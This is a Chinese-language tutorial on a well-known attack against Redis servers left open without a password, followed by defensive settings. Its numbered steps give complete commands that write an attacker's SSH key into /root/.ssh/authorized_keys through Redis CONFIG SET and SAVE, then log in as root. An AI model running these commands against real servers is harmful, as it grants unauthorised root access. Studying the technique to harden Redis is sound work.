攻击概述
以下攻击步骤展示了如何利用未加防护的 Redis 服务器,通过配置 Redis 的持久化机制,将攻击者的 SSH 公钥写入目标机器的 ~/.ssh/authorized_keys
文件,从而获取目标机器的 root 权限。这是一种典型的利用未授权访问 Redis 服务的攻击方法。
攻击步骤详细介绍
1. 准备攻击者的 SSH 公钥
首先,攻击者需要准备自己的 SSH 公钥:
cd ~/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
这段命令执行以下操作:
- 进入攻击者的
~/.ssh
目录。 - 使用
echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n"
命令将 SSH 公钥文件id_rsa.pub
的内容包裹在前后两个空行中,并重定向输出到key.txt
文件。
加入前后两个空行是关键,因为这样可以确保 authorized_keys
文件的格式正确,不会破坏已有的条目。
2. 将 SSH 公钥写入 Redis
将准备好的 key.txt
文件的内容通过 redis-cli
命令写入 Redis 中的一个键:
cat key.txt | redis-cli -h xx.xx.xx.xx -x set key
这条命令执行以下操作:
- 使用
cat key.txt
读取key.txt
文件的内容。 - 使用
redis-cli
命令将内容写入 Redis 键key
中。-x
选项表示从标准输入读取数据。
3. 连接到目标 Redis 服务器
通过 redis-cli
连接到目标 Redis 服务器:
redis-cli -h xx.xx.xx.xx
4. 获取并修改 Redis 备份路径
获取目标 Redis 服务器的当前备份路径:
CONFIG GET dir
将 Redis 的备份路径设置为目标用户的 SSH 目录(这里假设是 root
用户的 ~/.ssh
目录):
CONFIG SET dir /root/.ssh
5. 设置备份文件的名称为 authorized_keys
将 Redis 的备份文件名设置为 authorized_keys
:
CONFIG SET dbfilename authorized_keys
6. 检查是否更改成功
检查 dbfilename
是否成功更改:
CONFIG GET dbfilename
7. 保存当前 Redis 数据库
使用 SAVE
命令将当前 Redis 数据库保存到磁盘。由于前面的配置更改,Redis 会将数据库保存到 /root/.ssh/authorized_keys
文件中:
SAVE
8. 通过 SSH 连接到目标机器
最后,通过 SSH 使用攻击者的私钥连接到目标机器的 root 用户:
ssh root@xx.xx.xx.xx
防御措施
为了防止类似攻击,建议采取以下防御措施:
-
限制 Redis 端口访问:
使用防火墙限制 Redis 端口的访问,只允许受信任的 IP 地址访问。sudo ufw allow from your_trusted_ip to any port 6379 sudo ufw enable
-
设置 Redis 访问密码:
在 Redis 配置文件/etc/redis/redis.conf
中设置访问密码,以防止未授权访问。requirepass your_secure_password
重启 Redis 服务:
sudo systemctl restart redis
-
启用绑定 IP 地址:
确保 Redis 只绑定到本地 IP 地址或特定的受信任 IP 地址,而不是0.0.0.0
。bind 127.0.0.1
-
定期检查 Redis 配置和数据:
定期检查 Redis 配置和数据目录,确保没有异常更改。 -
监控和报警:
设置监控和报警机制,及时发现和响应异常活动。
通过这些防御措施,可以显著提高 Redis 服务器的安全性,防止类似的攻击发生。